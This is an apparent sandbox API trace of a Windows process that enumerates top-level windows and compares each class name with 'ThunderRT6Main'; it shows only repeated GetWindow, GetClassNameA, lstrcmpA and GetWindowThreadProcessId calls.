	[0084.941] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0084.941] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0084.941] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0084.941] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0084.941] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0084.941] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0084.941] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0084.941] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0084.941] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0084.941] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0084.941] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0084.941] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0084.941] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0084.942] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0084.942] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0084.942] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0084.942] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0084.942] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.942] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0084.942] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0084.942] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0084.942] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0084.942] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0084.942] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.942] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0084.942] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0084.942] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0084.942] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0084.942] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0084.942] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.942] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0084.942] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0084.942] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0084.942] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0084.942] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0084.942] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0084.942] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.943] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0084.943] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0084.943] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0084.943] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0084.943] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0084.943] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.943] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0084.943] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0084.943] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0084.943] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0084.943] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0084.943] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.943] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0084.943] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0084.943] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0084.943] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0084.943] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0084.943] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.943] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0084.943] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0084.943] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0084.943] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0084.943] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0084.944] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0084.944] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.944] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0084.944] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0084.944] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0084.944] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0084.944] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0084.944] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.944] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0084.944] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0084.944] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0084.944] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0084.944] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0084.944] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.944] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0084.944] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0084.944] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0084.944] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0084.944] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0084.944] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.944] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.944] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0084.944] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0084.944] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0084.945] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0084.945] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0084.945] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0084.945] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0084.945] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0084.945] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0084.945] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0084.945] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0084.945] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0084.945] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0084.945] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0084.945] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0084.945] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0084.945] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0084.945] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.945] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0084.945] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0084.945] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0084.945] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0084.945] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0084.945] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0084.945] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.945] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0084.946] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0084.946] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0084.946] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0084.946] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0084.946] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.946] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0084.946] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0084.946] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.946] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0084.946] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0084.946] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.946] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.946] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0084.946] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0084.946] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.946] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0084.946] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0084.946] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.946] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0084.946] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.946] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.946] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.946] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0084.947] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.947] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.947] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0084.947] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.947] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.947] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0084.947] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0084.947] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.947] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0084.947] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0084.947] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0084.947] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0084.947] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.947] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0084.947] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0084.947] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0084.947] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0084.947] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0084.947] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.947] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.947] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0084.947] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0084.947] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0084.948] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0084.948] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0084.948] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.948] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0084.948] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0084.948] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.948] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0084.948] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0084.948] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.948] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.948] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0084.948] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.948] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0084.948] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0084.948] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0084.948] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.948] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0084.948] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.948] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0084.948] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082
	[0084.948] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.948] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.948] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.948] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e
	[0084.949] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
	[0084.949] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0084.949] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080
	[0084.949] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.949] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0084.949] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076
	[0084.949] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.949] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.949] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064
	[0084.949] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.949] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.949] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110
	[0084.949] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="#43") returned 3
	[0084.949] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0084.949] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112
	[0084.949] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.949] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0084.949] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060
	[0084.949] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
	[0084.949] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.949] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c
